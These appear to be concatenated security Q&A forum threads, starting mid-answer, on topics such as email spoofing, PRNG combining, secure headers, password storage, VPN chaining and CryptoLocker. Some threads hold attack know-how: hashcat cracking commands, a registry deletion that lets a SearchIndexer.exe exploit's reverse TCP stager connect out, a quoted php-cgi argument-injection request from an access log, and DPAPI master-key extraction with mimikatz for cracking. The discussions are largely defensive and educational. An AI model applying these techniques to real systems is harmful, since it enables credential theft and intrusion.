Another example would be that you work during the implementation phase of said project. Then you will - depending on your statement of work with the client - also have a look on the actual implementation of the concept you supported. Then you need deeper technical understanding, know how the specific programming language works, know its pitfalls. E.g. if it's a C++ project, you need to know that buffer overflows exist and how to avoid them. If it's a JSP website, you need to know how XSS (and other OWASP-Top 10s) work and how to mitigate those vulns.

Architect

This position is most of the times internal and you could basically also act as the internal version of a external consultant. But just like any position, this can be fullfilled either by internal staff or external staff.
Generally, this is more in line with the common positon of CISO or internal IT security department. In that position, you should have a complete overview of your company's IT infrastructure and the protection mechanisms that are in place like IDS/IPS, firewalls, network configuration (DMZ/Bastion topography) and so on. You will be the one who tries to think like an adversary, anticipate which parts of your landscape are the "low hanging fruits" and where attackers might have a valid surface.

You also help design and secure other parts of your company's needs like knowledge sharing infrastructure, identity and access management and so on.

Specialist

TBH, I only heard this term as a "catch-all". It's kinda similar to when TV stations interview a "$RANDOMTOPIC expert" for a short segment. I have never met an "IT Security Specialist" in the wild and most of the time anybody has at least some field in which s/he specializes.


Cracking Mysql 5 Hash using Hashcat I am practicing cracking MYSQL5 hash using hash cat, however, for a reason or another, it finishes the cracking process too fast -within 30 seconds- without giving any results/errors back.

I doubted that I am using an incorrect hash type, however, I double checked using hash-identifier and other tools as well.

Here is the output:

root@k:~/Desktop# cat hash
63e5c2e178e611b692b526f8b6332317f2ff5513

root@k:~/Desktop# hashcat -m300 -a0 hash rockyou.txt
Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size...

Added hashes from file hash: 1 (1 salts)
Activating quick-digest mode for single-hash

NOTE: press enter for status-screen

Input.Mode: Dict (rockyou.txt)
Index.....: 1/5 (segment), 3627099 (words), 33550343 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 796.54k plains, 796.54k words
Progress..: 3627099/3627099 (100.00%)
Running...: 00:00:00:04
Estimated.: --:--:--:--

Input.Mode: Dict (rockyou.txt)
Index.....: 2/5 (segment), 3351796 (words), 33550341 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 779.88k plains, 779.88k words
Progress..: 3351796/3351796 (100.00%)
Running...: 00:00:00:04
Estimated.: --:--:--:--

Input.Mode: Dict (rockyou.txt)
Index.....: 3/5 (segment), 3323233 (words), 33550343 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 724.21k plains, 724.21k words
Progress..: 3323233/3323233 (100.00%)
Running...: 00:00:00:05
Estimated.: --:--:--:--

Input.Mode: Dict (rockyou.txt)
Index.....: 4/5 (segment), 3488103 (words), 33550343 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 768.58k plains, 768.58k words
Progress..: 3488103/3488103 (100.00%)
Running...: 00:00:00:04
Estimated.: --:--:--:--

Input.Mode: Dict (rockyou.txt)
Index.....: 5/5 (segment), 553093 (words), 5720127 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 824.46k plains, 824.46k words
Progress..: 553093/553093 (100.00%)
Running...: --:--:--:--
Estimated.: --:--:--:--

Started: Mon May  5 04:43:41 2014
Stopped: Mon May  5 04:44:17 2014
root@k:~/Desktop#

I am really confused since I tried hashcat with other hashes and it works fine ! But why it did not work with this one ?

Aside from this, I have seen multiple sites the provide cloud cracking for money. Does anybody have any recommendations/experience with such service ?

Your hashcat appears to be working correctly.  30 seconds is about how long it takes mine to run through every password in rockyou.txt

It looks like the password is not in rockyou.txt which only contains a few hundred thousand passwords.

I suggest you use some rules to make it guess some variations on the passwords in rockyou and/or find a larger dictionary.

d3ad0ne.rule will take a nice long time...

a command might be

hashcat -m 300 -a 0 -r rules/d3ad0ne.rule hash rockyou.txt


Mail server security: Authentication in SMTP servers for mails from same domain SPF and DKIM helps to determine whether a sender is allowed to send a mail from a specific domain or not. Now, if X employee of Company with email X@Company.com tampers the message headers and sends mail as Y@Company.com then how does SMTP server recognizes the tampered header? Since X is listed in the SMTP DNS records being a internal employee, the SPF and DKIM will pass. I wish to know the mitigation of this problem. People have been facing this kind of issue refer to these interesting questions:

Mails to internal receivers with faked sender address
Issues with using a mail server that doesn't support authentication to send mail?

how does SMTP server recognizes the tampered header?

They don't unless they require authentication. With authentication it can be determined if the authenticated user is the same as the acclaimed sender of the mail.

SPF and DKIM are not used in this case. These care only about spoofing the domain part of the senders address and do not care about single users at all.
Thus they can be used to find out if mails coming in from outside spoof the domain name. But they can not be used to find out if mails from  spoof the user part of the senders address.


PRNG: Does combining insecure algos help? Reading about how insecure PHP's rand function is, I was wondering if it helps to combine random functions. The suggested function there, openssl_random_pseudo_bytes, can also be cryptographically insecure (see the second argument). Combining the output from this and rand() and perhaps also mt_rand() might lengthen the period:

function more_randomness() {
    $n = 0;
    $n += rand(0, 255);
    $n += mt_rand(0, 255);
    $n += ord(openssl_random_pseudo_bytes(1));
    return round($n / 3);
}

If this is completely stupid, just tell me. Also tell me how else to generate cryptographically secure random numbers when this returns false:

function has_bad_prng() {
    openssl_random_pseudo_bytes(1, $is_bad);
    return $is_bad;
}

A PRNG can be insecure for several reasons, but one of them is using as seed some data which can have only a limited number of distinct values. For instance, if you use the current time as seed, then that value is known to the attacker, or at least potentially known with a not-so-hard effort: even if you have an internal clock with microsecond precision, and the attacker knows that clock only down to an accuracy of one second or so, then this amounts to only a million or so of possible seed values.

By enumerating the possible seed values, the attacker can recompute the same possible streams than you. You can add together hundreds of PRNG with any algorithms you want; if they all use the current time as seed, this will not save you.

"Adding" together several PRNG might help if the PRNG are all properly seeded (with distinct seed sources) and some of the PRNG are cryptographically weak. But there are subtle details; it is not easy to do right, and usually not worth the effort.

If openssl_random_pseudo_bytes() returns "insecure" then there is very little you can do to salvage it. Also, this does not happen in practice, unless your system is somehow damaged. Any decent server, be it Linux, Windows, MacOS, FreeBSD... maintains a cryptographically strong PRNG seeded with hardware events (that's /dev/urandom, CryptGenRandom()...) and that's what OpenSSL uses. If this does not work, then things have gone sour quite deeply in your system, and it is time to panic (i.e. raise exceptions and alert the sysadmin).


Reverse TCP connection from exploited SearchIndexer.exe failing I'm working on a tool that exploits SearchIndexer.exe on Windows 7 x86 and connects back to a metasploit multi/handler, using standard metasploit reverse TCP stagers.

The exploit seems to function as intended in the debugger, and works for other processes such as calc.exe.

However, when exploiting SearchIndexer.exe, the TCP connections back to my metasploit instance fails (no traffic sent), and on the victim I can see the following in events in procmon (http://i.stack.imgur.com/Or2L6.png):

Two questions:

Are there processes in Windows 7 that are not allowed to make TCP connections?
If not, how can I debug why the TCP connection (call) fails?

Allright, answering my own question. SearchIndexer and other services are protected by Windows Service Hardening. A part of WSH functionality is firewall rules for the service based on the way the service is supposed to communicate. So if the service is not supposed to communicate over the network, the developers may restrict it's ability to connect/receive data on the network.

The WSH firewall rules are checked before and independently of the Windows firewall, so even if you turn that off, they will be in effect.

The effect of this is that SearchIndexer.exe is not allowed to make outbound connections.

Fortunately, the WSH firewall rules are set in a registry key, under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable. Deleting the SearchIndexer subkey makes the exploit work flawlessly:


OWASP Secure Headers for Web Services Is the following headers mandatory for a web service that handles POST requests and return data using SOAP?

HTTP Strict Transport Security (HSTS)
X-Frame-Options
X-XSS-Protection
X-Content-Type-Options
Content-Security-Policy

I know these headers might help for a web application. But I would like to know the necessity of having these headers in the web service since it is also handled by HTTP?

The important part of your questions is that it's a API and not a web application. The security needs for an API  returning XML is very different from those of a webb application returning a mix of HTML, JS, etc.

So let's look at the headers one by one, with an API perspective:

HTTP Strict Transport Security (HSTS)
HSTS is in general a good thing that should be encouraged. It prevents SSL-strip attacks. But those are only possible when the user enters the URL (without protocol) into the URL-bar of a browser. That is not how you (normally) consume a SOAP API. So if all your URLs are hardcoded with HTTPS, the benefits of HSTS are slim.
X-Frame-Options
This controls if your page can be displayed in a frame or not, and is intended as a way to prevent attacks like clickjacking, etc. This is not an issue for an API (why would loading XML into a frame ever be beneficial to anyone...), so it is not an issue.
X-XSS-Protection
If you return XML (as a SOAP API does), there is no JS execution so XSS isn't really an issue. So this header isn't useful. (That doesn't mean you don't have to think about injection attacks, though.)
X-Content-Type-Options
This is used to prevent MIME type sniffing, which is mainly an issue when you serve files uploaded by users. Thats normally not what an API does, so I wouldn't worry about this one either.
Content-Security-Policy
This sets what can and can not be included in a HTML document. If you are serving XML that is of no interest. So again, not applicable.

See the pattern here? Most of the headers (possibly with the exception of HSTS) doesn't really apply to API:s because the threats they counter are not relevant for an API.


Why would Tor not be vulnerable to this easy-sounding attack? I'm thinking of this attack on Tor, which I'm sure won't work, as it is much too simple.

Mr. Blackhat sets up lots of intermediate nodes. However, whenever TCP connections come in, they are given very poor service. Connections are purposefully dropped, interrupted, resetted, sent into delay pools, etc. Mr. Blackhat also advertises a very large bandwidth to the Tor central directory to lure circuits into using his bad nodes.

Although this won't compromise security, why wouldn't this break Tor's reliability completely? I could easily imagine an adversary to Tor itself (Chinese censors for example) setting up purposefully breaking nodes, so people's data connections are broken, Tor becomes unusable, etc.

How does Tor avoid this?

GCHQ / the NSA considered this to be a viable approach to attacking Tor in 2012, see slide 22 of their Tor Stinks presentation, where they discuss creating lots of slow nodes advertised as high bandwidth.  (Slide 19 is related, but focuses on compromised networks and end servers.)

The end goal of course, is to force your target off the Tor network onto a less secure network.


isn't it a security hole that locked tablet/PC lets you change WiFi settings without warning the user? Certain tablets and PCs, including at least the Kindle Fire and Windows 10 computers, allow you to change WiFi settings even if the device is locked and you don't have the PIN/password.

The valid use case for this is that sometimes you have to authenticate yourself to the network in order to use the device.  (On Windows 10, you might have to log on to a domain; on the Kindle Fire, if you forget your PIN code, you can reset your PIN by logging in to your Amazon account, which of course requires network access.)  So if your WiFi network has changed, you need to be able to change WiFi settings before you can log in.

But this also means that an attacker could change your WiFi settings to point to a rogue hotspot they control, without having your PIN/password.  Then when you log in  to the device and use it later, all your traffic flows through the attacker's hotspot.  Even though most important traffic is encrypted these days, they can still see what sites you're connecting to.

This seems like a valid security concern, and the easiest fix I can think of is that if the device's WiFi settings are changed while it's locked, the next time it's unlocked, display a message which says, "While this machine was locked, a user changed the WiFi network to .  If you did not authorize this change, you should change your machine's WiFi settings back to their previous values."

Is this a valid security concern?  Has this been publicly discussed anywhere?  Is there a simpler way to mitigate this security threat, while still allowing users to change the WiFi settings on a locked device?

Yes, this is a valid security concern. There might be anything going on on the network while the device is locked, and an attacker could get access to all that traffic even if you get notified after login. This would definitely enable MITM attacks, but of course there's other layers of security that can tackle the most: this is not a critical security issue.

In order to keep the possibility to reset password but prevent unauthorized change of network settings, I would suggest a sort of safe mode network: if network was changed while locked, firewall would block all other connections but the one required for password reset synchronization. When unlocked, the OS would prompt for a permission to remove this firewall policy. This would work for both wireless and wired network changes.


Is security increased by using a subdomain per customer in a web-app? I'm thinking about adding per-customer subdomains to my web app (which would mean a wildcard ssl certificate and some extra code). It's an app to help small companies with their cashflow. Customers won't be able to upload their own content to the app, at least not at the beginning.

What does it bring in terms of security? For instance, my understanding is that I will benefit from the same origin policy to avoid cross-domain javascript. Is it actually the case, and are there other benefits?

It depends on what the application is and what are clients' control over it. Same Origin Policy still applies, so it's advisable to use the subdomain as a security perimeter, but - as always, there will be some quirks.

Your users can still do cross-domain requests with Cross Origin Resource Sharing. If HTTP headers can't be changed they would only lose access to the response, but, for example, one user could fake a silent file upload to other subdomain without problems.

Your clients could also, sometimes unknowingly, relax Same Origin Policy. For example if they can upload files, most likely someone would upload allow-all crossdomain.xml. Also, they could set document.domain to the parent domain so that all sibling subdomains could access the DOM.

As for cookies, attacker can still set it for the parent domain and other subdomain (of victim client) would still get the cookie, subdomains won't protect you from that, only separate domains would.

There are many ways applications installed on different domains could communicate with each other, some of these ways can be used for an attack. If you suspect your clients might try attacking each other, pay special attention to prevent Cross Site Request Forgery (tokens!) and Session Fixation. For example set up different session cookie name for every subdomain. Store your sessions server-side in a per-client store (i.e. not in common /tmp directory) and deny cookies with session ID that is unknown to the server.


Best way to store site-wide password encrypted on server? I'm developing a PHP application (PHP 7.3) for my company, which will be hosted in our own servers. For now it will only be accessible from within the network but eventually will be opened to the web.

The IT department is going to give me a "service" user whose password won't expire (so all the services for both the servers assigned to me and the app itself will keep on running forever) but they don't want that user's password to be stored in plain text anywhere in the server. To do that, the System Admin will have to input the password through a Remote Desktop Connection every time we need to make changes to the server services or such but I also need PHP to use that user's password constantly to access other resources on the network (LDAP server, other DBs, MS SQL DB and so on).

What I thought might work is:

Having the password encrypted in a plain text file above the root folder of the PHP application
Having a key in another plain text also above the root folder of my app but in a different folder
Having a cypher in another file or maybe in my main configuration PHP file

Does this make sense? Or maybe I could also have the key encrypted and another key in a file to decrypt the first key?

I'm very new to encryption so any explanation or link will be very much appreciated.

I'm surprised that there doesn't seem to be a canonical question and answer or at least a duplicate of this on this site - but a quick search failed to turn up anything relevant.

(There is no OS independent answer to this question - but I will address Unix/Linux for various reasons not worth going into right now).

In order to use the password it must be accessible in an unencrypted form to your application. That means the user account under which your application runs and root will have access to the plaintext. Most likely it will also be present in backups of the system, and definitely will be present in VM snapshots.

So it is impossible to be completely certain that the password will not be exposed. That means that you (or the other relevant system administrators) should be taking taking steps to mitigate this. The obvious ones are:

1) Password Rotation this limits the window in which a captured password will be of any use to an attacker. In most cases, to get a seemless change, you need to alternate between two accounts - so one is in use while the other is getting changed. Surprisingly few people bother with this.

2) Token based authentication - the password bootstraps a change of single use tokens (and is immediately forgotten by the client). Deployment of this is even rarer.

3) The use of a machine identity is growing in popularity (due to the availability of the service in clud environments). To avoid a plaintext password being stored on a computer (or an equivalent substitute such as a private key) the infrastructure vouches for the client, e.g. by providing a signed attestation which can be presented in lieu of a password. This generally requires custom software at client and server to handle the authentication.

Given your current constraints then these are not very practical solutions - that you only have a single account, using off the shelf software and no control over the server you are trying to authenticate to. A further consideration is that, using PHP, you need a low overhead on whatever mechanism you choose to store the password. Although not ideal, the most practical solutions I can think of are:

4) use the Linux kernel key storage (assuming this is linux). AFAIK, there is not a PHP extension for this - so you'd need to run an external program to retrieve the password each time.

5) store the password in a file on a ram drive (with appropriate permissions). You could use shared memory instead but the tools for interacting with the file and its contents are more limited.

6) Store the password in the webserver runtime memory and pass it to PHP at runtime as an environment variable

7) store the password in an encrypted filesystem - there's a lot of choices here, but encfs is probably the least painful and easiest to integrate with the backup.

Note that the first three require that you provision a method for injecting the credentials at boot time (not sure how you would do this for the webserver), while encryption requires that you provide a decryption key at boot time.


Double/Chained VPN - Which IP will be vissible to the VPN providers? I am currently using a company VPN and use Juniper Network Connect on OS X to connect to this network.

I'm interested in using another VPN and set this up at my internet router at home, so all traffic from all my devices goes though this VPN.

------------         ----------         -------
| Internet |  <--->  | Router |  <--->  | Mac |
------------         ----------         -------

So the Router now will first build up VPN connection A and then the Mac will build up another VPN connection B.

Which VPN provider (A or B) will see my real IP?

I guess that VPN B which is initiated from my Mac client would see the IP of the exit node of VPN A. And VPN A would see my real IP, assigned from my ISP. Is that correct?

Yes, that's correct.

VPN B will see VPN A IP

VPN A will see your external IP.

Because the router will establish a connection to VPN , all packets forwarded by the router (so packets coming from his computer MAC) will be forwarded through VPN A. In order to be routable on the internet, the VPN provider will masquerade (NAT) all outgoing packets with his exit node IP. When MAC will try to reach VPN B, VPN B will see VPN A ip.

For the question :

  what happens if the VPN A was down and the VPN B sends a packet to the
  router?

It depends but if the 2 connections are established (VPN A & VPN B), and VPN A goes down, there is a high risk that your router external IP will be disclosed to VPN B. MAC will continue to send packets to VPN B and it will not be masqueraded by A as VPN A is down.

Your connection to VPN B will also have a chance to go down as for VPN B, your IP has changed. It's now receiving packets from your router IP and not from VPN A. If you want to be sure that you will never disclose your router IP, you will need to add firewall rules on your router.


I'm implementing password validation for AD accounts. Is it dangerous to publish the forbidden words list? The password filter does a simple check: Does the new password contain an entry in the list of forbidden words?

In practice, the list is a series of forbidden words and known passwords.

I think it stands to reason that the list should be public. We don't want people using these words in their passwords, so rather than have them struggle, they can at least have the option of not having to guess what's allowed and what's not.

I'm asking this question here because I feel like this concept might be met with responses that are different from my own. e.g. "Don't give out the secret list!"

And, anyway, the list is in the NETLOGON share so anyone can read it if they know where to look. My point is about whether to make the availability obvious or not.

The biggest risk that comes to mind immediately is that this makes a dictionary attack somewhat easier - rather than try every conceivable combination, a bad guy has certain words that they know not to try.  In theory, this would speed up that kind of attack.

That said, it's still a pretty large solution set so we're not talking about a huge time savings.  And if it's on your network, they'd need to already be inside to get the list.

On the flip side, this eliminates the passwords found here, making guessing known weak passwords useless.  Plus, you make available the list of unallowed passwords, reducing user frustration (provided they remember to find it...)  Maybe some of the other folks here will disagree, but I say go ahead and make it available.  It's still a large universe of potential passwords, the passwords in use will be stronger, and your users have the ability to find the list of banned words.


Client-side password strength policy verification. CVSS3.1? OWASP WSTG? Using the OWASP testing guide, if password strength policy verification is implemented only client-side, can that be considered a vulnerability? In which category?
Also which CVSS it should have?

Yes it can be considered as a vulnerability as all the things done only at the client side are not enforced.
This situation is quite equivalent to not have a mandatory strength of the passwords.
This topic is described in the OWASP Application Security Verification Standard in the "Authentication" category: https://github.com/OWASP/ASVS/blob/master/4.0/en/0x11-V2-Authentication.md#v21-password-security-requirements
This is not a particular flaw (as a CVE with a CVSS score) but a general one (so a CWE).
So you will find details here :

https://cwe.mitre.org/data/definitions/20.html
https://cwe.mitre.org/data/definitions/602.html
https://cwe.mitre.org/data/definitions/521.html

Each article details the above categories of the flaw (in the membership section).
There is no numeric score like CVSS, but you can use the CVSS calculator to estimate it:https://www.first.org/cvss/calculator/3.0.
In your case, a regular user will not try to bypass the password policy at the client side. And if an attacker tries to do it, he can only create a poor secured account for himself.
We can imagine a scenario where the attacker tries to make a victim click a link which change the password for his own account on your website without the client side limitations... but it far simpler to use this link to steal the current password ^^.
So I guess that the CVSS vector is https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N but it is very theoretical.


How to read password from Windows credentials? What is the cipher used by windows Credential Manager to generate credentials backup files (*.crd)?

With a backup file from Credential Manager and the password used to created that backup file is it possible to decipher the file and read the stored credentials in plain text?

I have one password for a remote desktop that I forgot, but it is stored in the Credential Manager in my computer. I would like to read that password from my machine. Is there a way?

The Credential Manager stored passwords are managed by the Data Protection API and protected by DPAPI "master keys":

  The DPAPI keys used for encrypting the user's RSA keys are stored
  under %APPDATA%\Microsoft\Protect{SID} directory, where {SID} is the
  Security Identifier of that user. The DPAPI key is stored in the same
  file as the master key that protects the users private keys. It
  usually is 64 bytes of random data.

This Synactiv presentation has a good overview of DPAPI master keys:

  These masterkeys are stored in blobs, each containing:

  a GUID
  a salt
  master key structure (containing master keys)

... and includes this chart, which shows how the protections have changed with each release of Windows:

According to that presentation, shared keys can be extracted with mimikatz. Beyond the Windows platform, the dpapick project also supports offline and non-Windows use of the API, and both that project and John the Ripper include DPAPImk2john.py, a script for extracting the masterkey files for cracking purposes. hashcat also supports cracking  these DPAPI v1 and v2 masterkey files with that script.

So you should be able to use DPAmk2john.py to extract the master keys, and then crack them to access the credentials.


Nessus Target Availability I need to write a script (I am not asking for script !) in order to verify if target Servers are available (Up or Down) for Nessus scan or not. The problem is that, sometimes even if ping does not work on target IP address, Nessus still can scan these IP addresses.

My question is: How can I deal with equipment or servers which does not permit the ICMP ping? What should I check to make sure that IP address (Servers) which I need to scan are available for scan if they do not permit ICMP Ping or tracert or arp?

I think that you should use Nmap,or other tool but I use this tool, for this kind of enumeration.

You can use the option -sn to do 80 and 443 ports scan and ping scan, because might be not all of deviced have ping blocked. But if you what to scan other specific ports, you can use -p or --top-ports options.

Then, when you will get the result, you can insert discovered targets on Nessus to do the complet scan.

This is the procedure that I use.


What International laws should one in the InfoSec industry we be aware of? What InfoSec regulations should one be aware of when dealing with 'live' cross-border communications, or the offline transport of information?

The world is increasingly interconnected, and it is more and more common that actions by people in one country can affect people in other countries and be regulated by laws there.

Here is a brief sampling of some of the issues to consider.

A security researcher from Russia was detained while visiting the US by authorities for distributing free copyright circumvention software.  See http://en.wikipedia.org/wiki/Dmitry_Sklyarov
Web sites can have traffic from all over the world and laws in many different countries pertaining to privacy, copyright, libel, etc. may apply to the web site owners, operators and probably even contributors.

See e.g. http://en.wikipedia.org/wiki/Information_privacy and
European Union Aiming To Create New Privacy Laws
Information considered a public service in one country can be seen by others as illegal.  See e.g. the NPR story on Seeing The Internet As An 'Information Weapon' of which this is an excerpt:

  [In 2009] Russia successfully
  sponsored an even sharper version of
  its cyber disarmament proposal at a
  summit of the Shanghai Cooperation
  Organization, which includes China and
  four Central Asian countries as well
  as Russia.   The accord defined
  "information war," in part, as an
  effort by a state to undermine
  another's "political, economic, and
  social systems."

http://en.wikipedia.org/wiki/Shanghai_Cooperation_Organisation


Why can't I share a one use code with anyone else? I noticed in some cases when I get a verification code from Google it may say something along the line of:

  "You should not share this code with anyone else and no one from Google will ever ask for this code."

OK, this seems like it's for security reasons, but the code is only a one use code so if you give someone it after it was used then it will not work. (May not apply to giving someone the code before use, however even if someone knows your username and password and was able to get an unused code and that person were to login a new code should be generated for the new session. Right?)

Am I missing something, is there any reason not to share the one time code, especially the part about some random stranger calling and asking for it? Also it should have long self expired before someone had the chance to call you and ask for it in the future.

They're not being precise because they don't have to, and precise language might confuse some users.

They could say, for example, "You should not share unused codes that are less than an hour old with anyone else and no one from Google will ever ask for this code."

You and I would know what they mean.  My father in law and grandpa won't know why, though. My father in law is a specific example of a person who would see that there are times when he can share codes, and someone scamming him out of his social security check will get access to his email as well. (Yes, most of his inbox is about mind control chemicals added to contrails and how solar flares cause earthquakes, but it might also give someone access to his bank account.)

As has been pointed out in comments, there are other examples of situations that are conditionally dangerous, but people just don't include the exceptions. For example: "Never look down the barrel of a firearm [unless you have cleared the chamber]," or "never stick your finger in a light socket [unless you have turned off the power to that socket]."

Since a used or expired token is useless to everyone, there's no point in keeping it, sharing it, protecting it, deleting it, or adding exceptions to general security advice.

I can tell from personal experience that there are users who will do stupid things when you let them know that there are edge cases and nuances to security.  Knowing that, if I were to write such a warning to my users, I'd make my statement as broad and general as possible.


Strange activity on Apache httpd access log I have set up an Apache/2.2.22 (Debian) Server on my Rasberry Pi. Looking at my access.log, I see a bit of strange activity consisting mostly of GETs, which is quite disconcerting as I am a complete newbie in such matters. The strangest thing was a series of POSTs consisting of percentage signs and numbers. I know next to nothing about web technologies, but I assumed they were escaped HTML characters. Decoding the characters of one of them (there were 2 varieties) from "POST php-cgi?" forwards, it resulted in the following:

  "POST /cgi-bin/php-cgi?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on-d+disable_functions=""+-d+open_basedir=none+-d+auto_ prepend_file=php://input+-d+ cgi.force_redirect=0+-d+cgi. redirect_status_env=0+-n"

And a sample GET:

  "GET /HNAP1/ HTTP/1.1"

What is going on here? Are bots randomly testing IP addresses for vulnerabilities? Should I be worried?

Edit: these requests returned 404.

The first one looks like CGI injection.

Is your PHP updated? Are you sure it doesn't exist in the cgi-bin directory? These two should be enough to protect against this attack....

The second one appears to be targeting some D-Link vulnerabilities. I wouldn't worry about that one on your webserver.


How to set an extremely weak password hashing algorithm for linux? As part of a lab exercise I want to have an extremely weak password hash in the /etc/shadow file. How could I go about doing this? MD5 is not quite weak enough, and I'm editing the /etc/pam.d/common-password file to change the hashing algo. I was thinking I would do descrypt but I cannot get it to work.

Any ideas?

There may be other possibilities depending on the goals and assumptions of your lab exercise. Assuming modern Ubuntu (as your later comment says),  stock descrypt with a common salt is probably the weakest that you can use natively with full support:

$ echo -n 'password' | mkpasswd -s -S '00' -R 1 -m des
00xQPHYlVDIw6

Details:

Ubuntu's modern crypt implementation tries to keep you from creating overly weak hashes by design.

Other than native Unix crypt (descrypt), Ubuntu 16.04 has the following options, from crypt(3):

          ID  | Method
          ─────────────────────────────────────────────────────────
          1   | MD5
          2a  | Blowfish (not in mainline glibc; added in some
              | Linux distributions)
          5   | SHA-256 (since glibc 2.7)
          6   | SHA-512 (since glibc 2.7)

First, about salt. It sounds like you are only generating a single hash. If you were generating many hashes, you could use the same fixed/static salt for all of them, which would make the attack faster. I'll use a salt of all zeroes for simplicity.

descrypt may no longer be recognized. /etc/pam.d/common-password does refer to "Unix crypt" as the default, but this may mean "the OS default system crypt" rather than classic descrypt. descrypt would definitely be the weakest if the system supports it:

$ echo -n 'password' | mkpasswd -s -S '00' -R 1 -m des
00xQPHYlVDIw6

Note - in my testing,  I was still able to use a descrypt password to log into an Ubuntu system. You can give descrypt a try, but the PAM documentation doesn't explicitly list it, so it may or may not work for your purposes.

Blowfish/bcrypt (2a and/or 2y) is by far the slowest, and doesn't seem to be supported in Ubuntu, so we'll discard it.

MD5crypt has a fixed number of rounds (1000), which is one of the reasons that it is now deprecated. And it is faster (and therefore weaker) than SHA-256 or SHA-512.

$ echo -n 'password' | mkpasswd -s -S '00000000' -m md5
$1$00000000$5ybxs8yjIGjFJv4/CuHRd1

Between SHA-256 and SHA-512, SHA-256 is a faster hash and so would theoretically be "weaker" for your purposes.

I checked to see if I could make the SHAs weaker by reducing the number of rounds. There appears to be no simple/naive way do this. The native Ubuntu mkpasswd command calls the underlying crypt function, which ignores -R values under 1000 by design:

SHA-256:

$ echo -n 'password' | mkpasswd -s -S '00000000' -R 1 -m sha-256
$5$rounds=1000$00000000$2h.5f29uvvoub7RFoFxxMG4Yg43KX3rL0rF8vn3CIPC

SHA-512:

$ echo -n 'password' | mkpasswd -s -S '00000000' -R 1 -m sha-512
$6$rounds=1000$00000000$hNBmdrAfQPp5VkP/POLNOo3Dv1tVsOORYGE4pKarVzYs43iS2GdEkUrPU2Xbo6m5mX8PPDPfcQvFKo7Ktar.W.

You could try to find a standalone implementation of one of these that does not use system crypt libraries and lets you override the rounds. But there is no guarantee that the utilities that need to interpret the hash will understand or respect a value lower than the expected minimum (1000). (If I were writing such a utility, I would reject as invalid any hashes with fewer rounds than expected!)

So that leaves us with native minimums for the number of rounds. To illustrate the relative speeds, here are some hashcat benchmark speeds (from a system with six GTX 970s):

Hashtype: bcrypt, Blowfish(OpenBSD)                          39955 H/s
Hashtype: sha512crypt, SHA512(Unix)                          426.6 kH/s
Hashtype: sha256crypt, SHA256(Unix)                         1017.3 kH/s
Hashtype: md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5  28070.8 kH/s
Hashtype: descrypt, DES(Unix), Traditional DES              2645.3 MH/s

So the weakest that is guaranteed to be supported on modern Ubuntu is currently md5crypt descrypt.


Are there vulnerabilities in display connections? I have been in the market for a DisplayPort KVM. Most of these products come from small companies I have never heard of and possibly do not trust. I understand the risk of plugging in USB to any machine and what it can execute to compromise a machine.

If I ignore the USB ports and only use the DisplayPort connections (this could also go for HDMI, DVI, VGA, etc), what is the possibilities that your computer could be secretly compromised with some form of malware through these ports?

HDMI, DVI, VGA ports aren't networked. There are no packets to pass through them. They can however be spliced/split to enable recording but this would need to be done on premise (local). You could go the KVM over IP which can be configured as secured as you want them to be. (Shove them in a VPN tunnel, allocate firewall rules, over SSL, etc)


Risks of mobile printing I know printers are a security hole. I am trying to get the best setup to minimize risk.

Here's the risk that I am trying to mitigate : that an attacker remotely access the printer, and use it as a launchpad to infect other computers.

So I decided to do this:

do not setup access to wifi to the printer. Since I assume settings could be changed, I will not simply disable wifi, I will purchase a printer that does not have wifi capacity
among all the printers that work for my need, they all have ethernet capability. I am planning not to plug the ethernet capable, so I should be fine
However, all the printers I saw still had mobile printing capabilities (like airprint). This is most unfortunate, because even though they claim to NOT be wireless, they clearly are (airprint for example requires the printer to generate a local wireless network).

So I am trying to decide whether that's a security risk I can completely mitigate : if I purchase a printer with mobile printing capabilities, and I assume an attacker somehow revert my settings to disable this capability, what is the worse that can happen ? Via mobile printing, could they update the firmware of the printer ? Could they use it as a launchpad to infect other computers ? Or does mobile printing protocols strictly only allow sending a document for printing, and it cannot be misused?

If you want to use your printer, you cannot mitigate all risks. Even if it is at this moment not possible to hack your specific printer, that does not mean that it won't be possible in the (even near) future. So you need permanent subscription to security/vulnerabilities reports.

What is the worst that can happen? According to Columbia PhD student Ang Cui and Professor Salvatore Stolfo (look them up with google), HP printers can set your house on fire. Or print illegal material (and report you to the cops). Oh, and maybe as a stepping stone.

I am often puzzled by the security needs of people that buy simple SOHO printers. They go far beyond the requirements that medical institutions, banks or even intelligence agencies have for their printers. I hope that someone will explain these extravagant security requirements.

If your security needs are so elaborate, you must look into specialized printing devices (with their price tag) or put them in a Faraday cage (Mu copper, soldered with a centimeter overlap). If you think that is too expensive, than you probably don't want to mitigate all the risks.

At the time of this writing, there do not seem to be any known hacks to mobile printing, other than those that allow printing (of possible "alternative" content).


Prevent CryptoLocker on Server Are there any ways to prevent files associated with CryptoLocker, to be propagated to a data server, by means of a back up?

We use Cobian as our backup system, and it backs up the user's directory to a separate drive on the server. I have found some traces of CL on the backup drive, and subsequently deleted them the moment they were detected.

I usually isolate the computer from the network, and do an intensive anti-malware (Malware Bytes') and anti-spyware (AVG / Windows Defender) scans. I also delete any executable files from %AppData%.

What are some guidelines to keep in mind?

We run Windows SBS 2011 and PCs are not connected via domains, only via workgroups. However, everyone accesses the server in some sort of way, by means of a Active Directory Username.

Is there a way to block associated CL files from being copied to the server?

This is an old piece of malware. Though technology isn't a panacea, if you're having this problem it seems like your technical protection needs an update.

If updated, I feel like offering that if it were easy to do this at a server it would already be implemented at the workstations: To identify files associated with CryptoLocker you need a signature, and if you have a signature you have an antivirus scanner. In this loop, the better your AV process is the fewer files (by signature) you'll get/keep on your server.

You can improve this by moving towards IOC-based systems, but that changes the game since you're in front of the signature vendors.

To keep CryptoLocked files off your server, scanners exist to help identify them at this question.


